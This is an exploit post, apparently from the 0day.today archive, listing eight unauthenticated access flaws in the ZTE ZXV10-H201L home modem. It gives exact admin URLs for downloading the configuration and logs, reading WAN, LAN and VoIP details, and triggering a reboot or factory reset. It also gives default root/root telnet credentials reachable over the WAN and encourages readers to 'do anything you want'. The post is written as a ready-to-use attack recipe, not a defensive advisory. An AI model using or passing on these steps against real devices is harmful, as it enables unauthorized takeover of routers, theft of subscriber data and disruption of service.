ZTE ZXV10-H201L Multiple Vulnerabilities

/-------------------------------------------------/
   /Exploits found by TheWalk1ngShad0w          /
 /My email: [email protected]   /
/-------------------------------------------------/



Exploit tested & working on modem with this build info:

-----------------------------------------
- Model:  ZXV10 H201L  --->  http://hu.ucoz.ru/FOTO/madema_nakh_telefonnaja.png
- Software version:  V1.0.01_CTT13
- HWVer:  V1.0.05
- SWVer:  V1.0.01_CTT13
-----------------------------------------


Short introduction:

This modem is used by many providers in the world, even in mine small country, but, it's full of vulnerabilities. Let me show them to you... All exploits down there are unauthorized, but can be done with admin account, and some of them are possible just on admin account, not on standard user's, but we are going to do it without admin and standard user login details.
----------------------------------------------------------------------------------------------------------------------

Exploit #1:
- User configuration bin file download

http://192.168.1.1/manager_dev_config_t.gch

When you get there, just press "Backup configuration" to download config file.
----------------------------------------------------------------------------------------------------------------------

Exploit #2:
- Reading log file & downloading it

http://192.168.1.1/manager_log_conf_t.gch

By entering here, you can read log file and download it on your PC by clicking "Download Log" button
----------------------------------------------------------------------------------------------------------------------

Exploit #3:
- VoIP status

http://192.168.1.1/status_voip_4less_t.gch

If you enter here, you will get list of VoIP devices(if any) on this modem and their network status(Registered/Not Registered on VoIP server)
----------------------------------------------------------------------------------------------------------------------

Exploit #4:
- Some basic router info(WiFi channel, MAC, WiFi Auth Type, WiFi Encryption Type etc...)

http://192.168.1.1/status_wlan_info_t.gch

Here you can see basic router info, not very useful, but you will probably need this sometimes...
----------------------------------------------------------------------------------------------------------------------

Exploit #5:
- Ethernet info

http://192.168.1.1/status_lan_info_t.gch

Data recieved by LAN cable port, LAN port status etc...
----------------------------------------------------------------------------------------------------------------------

Exploit #6:

- Reboot & Factory reset(Works on some models only, not working on mine, but working at friend's, cause he's got custom firmware)

http://192.168.1.1/manager_dev_conf_t.gch

Reboot & Factory Reset
-----------------------------------------------------------------------------------------------------------------------

Exploit #7:

- Advanced modem info(WAN IP, DNS Server, IPVersion, Management IP, NAT Status etc...)

http://192.168.1.1/IPv46_status_wan_if_t.gch

You can get almost anything about addresses linked with router(WAN IP, MAC, Management, DHCP, VoIP Addresses etc...)
-----------------------------------------------------------------------------------------------------------------------

Exploit #8:

- Remote telnet(Also working on WAN)

Username: root
Password: root
Address:Port: wanaddr:23

You can do anything you want with telnet, play with it
-----------------------------------------------------------------------------------------------------------------------

#  0day.today [2018-03-19]  #